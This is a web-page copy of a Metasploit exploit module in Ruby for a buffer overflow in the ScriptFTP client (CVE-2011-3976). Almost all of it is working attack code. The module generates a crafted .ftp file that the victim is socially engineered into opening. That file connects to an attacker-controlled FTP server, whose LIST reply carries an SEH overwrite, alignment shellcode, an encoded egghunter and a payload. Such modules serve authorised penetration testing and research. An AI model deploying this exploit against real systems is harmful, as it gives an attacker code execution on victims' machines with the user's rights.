Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/scriptftp_list.rb
19669 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::FtpServer
10
include Msf::Exploit::FILEFORMAT
11
include Msf::Exploit::Egghunter
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'ScriptFTP LIST Remote Buffer Overflow',
18
'Description' => %q{
19
AmmSoft's ScriptFTP client is susceptible to a remote buffer overflow
20
vulnerability that is triggered when processing a sufficiently long
21
filename during a FTP LIST command resulting in overwriting the
22
exception handler. Social engineering of executing a specially crafted
23
ftp file by double click will result in connecting to our malicious
24
server and perform arbitrary code execution which allows the attacker to
25
gain the same rights as the user running ScriptFTP. This vulnerability
26
affects versions 3.3 and earlier.
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'modpr0be', # Vulnerability discovery and original exploit
31
'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
32
'mr_me <steventhomasseeley[at]gmail.com>', # Metasploit module
33
],
34
'References' => [
35
[ 'CVE', '2011-3976' ],
36
[ 'OSVDB', '75633' ],
37
[ 'EDB', '17876' ],
38
[ 'US-CERT-VU', '440219' ]
39
],
40
'DefaultOptions' => {
41
'EXITFUNC' => 'thread',
42
'DisablePayloadHandler' => false
43
},
44
'Payload' => {
45
'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
46
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
47
'EncoderOptions' =>
48
{
49
'BufferRegister' => 'EDI', # Egghunter jmp edi
50
}
51
},
52
'Platform' => 'win',
53
'Targets' => [
54
# CALL DWORD PTR SS:[EBP-4]
55
# scriptftp.exe - File version=Build 3/9/2009
56
[ 'Windows XP SP3 / Windows Vista', { 'Offset' => 1746, 'Ret' => "\xd6\x41" } ],
57
],
58
'Privileged' => false,
59
'DisclosureDate' => '2011-10-12',
60
'DefaultTarget' => 0,
61
'Notes' => {
62
'Reliability' => UNKNOWN_RELIABILITY,
63
'Stability' => UNKNOWN_STABILITY,
64
'SideEffects' => UNKNOWN_SIDE_EFFECTS
65
}
66
)
67
)
68
69
register_options(
70
[
71
OptString.new('FILENAME', [ true, 'The file name.', 'msf.ftp']),
72
]
73
)
74
end
75
76
def setup
77
if datastore['SRVHOST'] == '0.0.0.0'
78
lhost = Rex::Socket.source_address('50.50.50.50')
79
else
80
lhost = datastore['SRVHOST']
81
end
82
83
ftp_file = "OPENHOST('#{lhost}','ftp','ftp')\r\n"
84
ftp_file << "SETPASSIVE(ENABLED)\r\n"
85
ftp_file << "GETLIST($list,REMOTE_FILES)\r\n"
86
ftp_file << "CLOSEHOST\r\n"
87
88
print_status("Creating '#{datastore['FILENAME']}'...")
89
file_create(ftp_file)
90
super
91
end
92
93
def on_client_unknown_command(c, cmd, arg)
94
c.put("200 OK\r\n")
95
end
96
97
def on_client_command_list(c, arg)
98
conn = establish_data_connection(c)
99
if (not conn)
100
c.put("425 Can't build data connection\r\n")
101
return
102
end
103
104
print_status(" - Data connection set up")
105
code = 150
106
c.put("#{code} Here comes the directory listing.\r\n")
107
108
code = 226
109
c.put("#{code} Directory send ok.\r\n")
110
111
eggoptions =
112
{
113
:checksum => false,
114
:eggtag => 'cure'
115
}
116
117
hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
118
119
# Encode with alphamixed, then unicode mixed
120
[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
121
enc = framework.encoders.create(name)
122
if name =~ /unicode/
123
# aligned to ESP & EAX
124
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
125
else
126
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
127
end
128
# NOTE: we already eliminated badchars
129
hunter = enc.encode(hunter, nil, nil, platform)
130
if name =~ /alpha/
131
# insert getpc_stub & align EDX, unicode encoder friendly.
132
# Hardcoded stub is not an issue here because it gets encoded anyway
133
getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
134
hunter = getpc_stub + hunter
135
end
136
}
137
138
unicode_nop = "\x6d" # DD BYTE PTR DS:[ECX],AL
139
140
nseh = "\x61" << unicode_nop
141
seh = target.ret
142
143
alignment = "\x54" # PUSH ESP
144
alignment << unicode_nop
145
alignment << "\x58" # POP EAX
146
alignment << unicode_nop
147
alignment << "\x05\x12\x11" # ADD EAX,11001200
148
alignment << unicode_nop
149
alignment << "\x2d\x01\x01" # SUB EAX,1000100
150
alignment << unicode_nop
151
alignment << "\x2d\x01\x10" # SUB EAX,10000100
152
alignment << unicode_nop
153
alignment << "\x50" # PUSH EAX
154
alignment << unicode_nop
155
alignment << "\xc3" # RETN
156
157
buffer = rand_text_alpha(656)
158
buffer << hunter
159
buffer << rand_text_alpha(target['Offset'] - buffer.length)
160
buffer << nseh
161
buffer << seh
162
buffer << alignment
163
buffer << rand_text_alpha(500)
164
buffer << egg
165
166
print_status(" - Sending directory list via data connection")
167
dirlist = "-rwxr-xr-x 5 ftpuser ftpusers 512 Jul 26 2001 #{buffer}.txt\r\n"
168
dirlist << " 5 ftpuser ftpusers 512 Jul 26 2001 A\r\n"
169
dirlist << "rwxr-xr-x 5 ftpuser ftpusers 512 Jul 26 2001 #{buffer}.txt\r\n"
170
171
conn.put(dirlist)
172
conn.close
173
return
174
end
175
end
176
177